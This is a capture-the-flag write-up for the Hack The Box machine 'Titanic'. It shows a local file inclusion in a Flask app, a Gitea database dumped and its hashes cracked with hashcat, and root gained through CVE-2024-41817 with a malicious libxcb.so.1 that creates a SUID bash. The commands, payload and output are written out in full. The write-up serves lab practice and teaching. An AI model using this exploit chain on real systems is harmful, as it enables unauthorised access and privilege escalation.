Titanic - HTB Machine

- 8 mins read

Titanic is a Hack The Box machine released on 15 Feb 2025

Summary (How?)

Titanic is a web application with a Local File Inclusion (LFI) vulnerability, which allowed me to enumerate sensitive files, including the /etc/hosts file that revealed a secondary host dev.titanic.htb. This led to a Gitea instance where I found configuration files exposing the path to Gitea’s database. Using the LFI vulnerability, I downloaded the database, extracted password hashes for the developer user, and cracked them to gain SSH access to the machine as developer.

For privilege escalation, I identified a script in /opt/scripts/ that used ImageMagick to process images with root privileges. Exploiting CVE-2024-41817, I created a malicious libxcb.so.1 library, which was loaded by ImageMagick to execute arbitrary code. This allowed me to create a SUID bash binary, granting root access and enabling me to read the root.txt flag.

Enumeration

nmap

As expected, there’s a webserver running in titanic.htb

└─$ cat nmap-sC-sV
# Nmap 7.95 scan initiated Sun May  4 00:18:10 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-sC-sV -Pn titanic.htb
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Titanic - Book Your Ship Trip
| http-server-header:
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/3.0.3 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial page and LFI

The initial page is the following

image.png

When clicking in “Book Now” we get a form (this is the only functionality I could find)

image.png

Once submitted this triggers the following requests and responses

image.png

And then

image.png

What would happen if we modify the ticket parameter? Maybe some LFI?

image.png

YES! Always try LFI when there are files retrieved.

System and app enumeration

There are two users with /bin/bash

  • root:x:0:0:root:/root:/bin/bash
  • developer:x:1000:1000:developer:/home/developer:/bin/

Here I started to check several known files

  • apache configuration files
  • .bashrc
  • ssh files (couldn’t find any)

Eventually I decided to run ffuf with this list to find interesting files.

ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://titanic.htb/download?ticket=FUZZ'  -fw 33 -fs 0
cut -d' ' -f1 available-paths-pre > available-paths

Here the /etc/hosts was the file that did the breakthrough showing us the dev.titanic.htb host.

image.png

Gitea!

Once we add dev.titanic.htb to our host we managed to access the main page, which is as gitea instance. Gitea is a lightweight, self-hosted Git service for managing repositories, similar to GitHub. It’s written in Go.

image.png

The first thing is to register, then we can see some interesting repos.

  • docker-config: Docker compose file for both the gitea and the mysql services.
  • flask-app: The vulnerable web application

Let’s find some credentials..

In the project docker-config we found the credentials for the mysql database. Anyway, we cannot access right now as it’s listening in localhost.

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

Now let’s look at the code in flask-app to understand where the LFI vulnerability is.

@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }

    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)

    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)

    return redirect(url_for('download_ticket', ticket=json_filename))

@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400

    json_filepath = os.path.join(TICKETS_DIR, ticket)

    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404

The problem is crystal clear: there is no input sanitization for the ticket parameter which is directly appended to the TICKETS_DIR path when retrieving the json file of the ticket.

ticket = request.args.get('ticket')
json_filepath = os.path.join(TICKETS_DIR, ticket)

The following users are registered in Gitea. The thing to observe here is that there is a developer user both in Gitea and in the instance, and maybe they have the same password.

image.png

Looking back in in the docker-config repo we find the directory where gitea’s data is: /home/developer/gitea/data.


services:
  gitea:
    image: gitea/gitea
    [...]
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path

This is very interesting and our next goal will be to dump gitea’s database in order to find password hashes.

Dumping Gitea’s database - RCE

The optimal path here would have been to start a docker container locally in our attack host using the same gitea image as the one used in the docker compose file. And then browse where is the gitea .db file located. This wasn’t my initial approach and I lost a lot of time reading documentation.

In my defense it was a bit confusing the mysql service, I was expecting for gitea to use that instead of having a local .db file.

In this research the first interesting file I dumped was app.ini, there is a lot of juicy information from a pentester perspective here and that’s why I included it, but still no credentials to access the instance.

image.png

[server]

LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4

[security]
INSTALL_LOCK = true
SECRET_KEY =
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2

[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g

Eventually, we managed to drop the database with a GET request to

http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

We connect locally and find what we where looking for.

└─$ sqlite3 _home_developer_gitea_data_gitea_gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.

sqlite> SELECT name, passwd FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

Let’s crack them and for sure get access…

❯ cat hashes                                                                                                                                              ─╯
sha256:50000:70a5bd0c1a5d23caa49030172cdcabdc:cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
sha256:50000:0ce6f07fc9b557bc070fa7bef76a0d15:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56

❯ hashcat -m 10900 hashes /usr/share/wordlists/rockyou.txt
Session..........: hashcat
Status...........: **Exhausted**
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: hashes
Time.Started.....: Thu May  8 00:13:54 2025 (7 mins, 10 secs)
Time.Estimated...: Thu May  8 00:21:04 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    66811 H/s (0.18ms) @ Accel:128 Loops:32 Thr:64 Vec:1
Recovered........: 0/2 (0.00%) Digests (total), 0/2 (0.00%) Digests (new), 0/2 (0.00%) Salts
Progress.........: 28688768/28688768 (100.00%)
Rejected.........: 0/28688768 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:49984-49999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[237970336734] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 71c Fan: 80% Util: 85% Core:1920MHz Mem:9751MHz Bus:8

(wait, this is not the end, I was just doing it wrong here)

Another deadend… Here I tried using the tokens from app.ini to get access as administrator to the Gitea app, not a good option.

┌──(kali㉿kali)-[~/htb-machines/titanic]
└─$ curl -s http://dev.titanic.htb/api/v1/admin/users \
     -H "Authorization: token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8" \
     -H "Accept: application/json"

{"message":"user does not exist [uid: 0, name: ]","url":"http://gitea.titanic.htb/api/swagger"}

Here I took a break.

It turns out I have made another mistake: the hash type was wrong. I used ChatGPT to create them instead of researching myself, and it didn’t work. Luckily I came across this post from 0xdf on how to crack gitea’s hashes, and it worked. A lot to learn.

❯ hashcat -m 10900 hashes /usr/share/wordlists/rockyou.txt --user

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: hashes
Time.Started.....: Fri May  9 14:42:06 2025 (3 mins, 44 secs)
Time.Estimated...: Fri May  9 14:45:50 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    66949 H/s (1.09ms) @ Accel:32 Loops:64 Thr:256 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688768/28688768 (100.00%)
Rejected.........: 0/28688768 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:49984-49999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2e376368696c65372e] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 70c Fan: 77% Util: 97% Core:1740MHz Mem:9751MHz Bus:8

sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528

developer:25282528

└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

developer@titanic:~$ whoami
developer

developer@titanic:~$ cat user.txt
0e97a74aee8fd9fb63

Shared-library hijacking - Root access

Developer does not have permission to run sudo on any file.

There is an interesting folder in /opt

developer@titanic:/$ ls /opt/
app  containerd  scripts

Scripts contains only a identify_images.sh script with these three lines

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

This works by clearing the file metadata.log located in /opt/app/static/assets/images and then finds all .jpg files under /opt/app/static/assets/images/ and runs identify from ImageMagick on each, appending the output (image metadata) to metadata.log.

Two interesting facts are that :

  1. developer has write acces on /opt/app/static/assets/images
  2. metadata.log is owned by root, meaning that this is executing with high privileges. And it is generated every minute, which implies a cron running it.
developer@titanic:/opt/app/static/assets/images$ ls -l metadata.log
-rw-r----- 1 root developer 442 Jun 19 19:04 metadata.log

Finally, the version of ImageMagick being used is the 7.1.1–35. Maybe there’s a CVE associated with it?

CVE-2024-41817 - ImageMagick Arbitrary Code Execution Vulnerability

Checking ImageMagick’s version (7.1.1-35) revealed vulnerability CVE-2024-41817, which allows shared library hijacking. The vulnerability exploits ImageMagick’s insecure library loading mechanism, allowing placement of a malicious .so file (libxcb.so.1) in the writable images directory. When the script executes as root, ImageMagick loads the rogue shared library, executing arbitrary commands as root.

The exploit that worked for me involved writing a custom library libxcb.so.1 to the path /opt/app/static/assets/images, where magick would run as root, load this library and get us code execution as root.

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
    exit(0);
}
EOF

This code creates a SUID bash executable in /tmp/rootbash

After a minute our rootbash pops out.

developer@titanic:~$ /tmp/rootbash -p
rootbash-5.0# cat /root/root.txt
50a5986b897256e3fb